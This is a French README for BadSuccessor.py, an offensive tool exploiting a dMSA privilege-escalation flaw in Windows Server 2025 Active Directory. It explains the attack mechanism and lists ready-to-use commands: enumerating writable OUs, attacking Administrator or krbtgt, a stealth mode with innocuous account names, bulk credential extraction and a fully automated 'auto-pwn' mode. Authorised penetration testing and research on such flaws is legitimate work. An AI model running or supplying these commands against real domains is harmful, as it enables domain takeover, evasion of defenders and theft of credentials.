BadSuccessor.py

Un outil de test de pénétration qui exploite la vulnérabilité d'élévation de privilèges dMSA (compte de service géré délégué) dans les environnements Active Directory Windows Server 2025.

⚠️ Avertissement légal

Cet outil est exclusivement destiné aux tests de pénétration autorisés et à la recherche en sécurité. L'utilisation de cet outil contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par cet outil.

⚠️ État du développement et avertissement concernant les tests environnementaux

IMPORTANT : Cet outil est en cours de développement et de test actifs.

État actuel

• Adoption de Windows Server 2025 : En mai 2025, Windows Server 2025 est encore en phase d'adoption précoce avec des déploiements de production limités
• Variations environnementales : En raison du nombre limité d'environnements Windows Server 2025 disponibles pour les tests, cet outil peut rencontrer des configurations non testées
• Développement continu : Nous affinons activement l'outil à mesure que de nouvelles variations environnementales sont déployées et testées

Ce que cela signifie

• Attendez-vous à des mises à jour : L'outil recevra des mises à jour fréquentes à mesure que de nouveaux types d'environnements seront testés
• Signalez les problèmes : Vos retours sont essentiels — veuillez signaler tout problème ou cas limite rencontré
• Testez prudemment : Testez toujours d'abord dans un environnement hors production
• Variations de schéma : Différentes versions de Windows Server 2025 peuvent implémenter les attributs dMSA différemment
• Stabilité des fonctionnalités : Bien que les fonctionnalités principales soient stables, certaines peuvent nécessiter des ajustements pour des environnements spécifiques

Variables connues suivies

• Différentes versions de Windows Server 2025
• Conventions de nommage des attributs de schéma
• Implémentations AD régionales/localisées
• Configurations cloud hybrides
• Divers niveaux fonctionnels AD
• Différentes configurations de durcissement de sécurité

Tests par la communauté

Nous encourageons la communauté de la sécurité à :

• Tester dans divers environnements
• Partager les résultats (anonymisés)
• Soumettre des demandes d'extraction pour des améliorations de compatibilité
• Signaler les variations environnementales

En utilisant cet outil, vous reconnaissez qu'il est en cours de développement actif et qu'il peut nécessiter des modifications pour votre environnement spécifique.

📋 Vue d'ensemble

BadSuccessor exploite une vulnérabilité d'élévation de privilèges dans la fonctionnalité de compte de service géré délégué (dMSA) de Windows Server 2025. La vulnérabilité permet à des attaquants disposant de permissions minimales d'élever leurs privilèges vers n'importe quel utilisateur du domaine, y compris les administrateurs de domaine.

Crédit de recherche

Cet outil est basé sur l'excellente recherche de Yuval Gordon de Akamai Technologies :

• BadSuccessor : Abuser de dMSA pour élever les privilèges dans Active Directory

🎯 Détails de la vulnérabilité

La vulnérabilité existe dans le processus de migration dMSA où :

1. Un attaquant crée un dMSA malveillant dans toute UO inscriptible
2. Définit msDS-ManagedAccountPrecededByLink ou ms-DS-Managed-Account-Preceded-By-Link pour pointer vers un utilisateur cible
3. Définit msDS-DelegatedMSAState ou ms-DS-Delegated-MSA-State à 2 (migration terminée)
4. Le KDC accorde automatiquement au dMSA tous les privilèges de l'utilisateur cible via l'héritage PAC

De plus, la structure KERB-DMSA-KEY-PACKAGE contient les clés de mot de passe de l'utilisateur cible, permettant l'extraction d'informations d'identification.

✅ Prérequis

Exigences système

• Machine Linux (non jointe au domaine)
• Python 3.6+
• Accès réseau à l'environnement Active Directory cible
• Le domaine cible doit avoir au moins un contrôleur de domaine Windows Server 2025

Dépendances Python```bash

pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0

**Remarque** : L'outil a été testé avec impacket 0.12.0. Des avertissements de compatibilité de version sont affichés à l'exécution.

### Dépendances optionnelles```bash
# For DNS discovery
pip3 install dnspython

# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2

# RHEL/CentOS/Fedora
sudo yum install krb5-devel

Autorisations requises

• Identifiants de domaine valides (n'importe quel compte utilisateur)
• N'IMPORTE QUELLE des autorisations suivantes sur au moins une unité d'organisation :
  • Permission CreateChild
  • Permission Write
  • Permission GenericWrite
  • Permission GenericAll
  • Membre des groupes par défaut disposant d'un accès en écriture (p. ex., Authenticated Users)
• L'outil découvre automatiquement toutes les unités d'organisation accessibles en écriture et affiche les autorisations spécifiques

🚀 Installation```bash

git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py

### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

📖 Utilisation

Syntaxe de base```bash

python3 badsuccessor.py -d -u -p [options]

### Exemples de démarrage rapide

#### 1. Mode Dry Run (NOUVEAU) - Tester sans apporter de modifications```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator

# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

2. Énumérer l'environnement```bash

Check Windows Server 2025 schema support

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema

Find ALL writable OUs with detailed permissions

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate

List high-value targets

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets

Validate specific target account

python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

#### 3. Effectuer l'attaque```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

4. Extraire les identifiants```bash

Extract credentials for multiple users

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql

Auto-pwn mode (fully automated)

python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

#### 5. Gestion de session (NOUVEAU)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions

# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234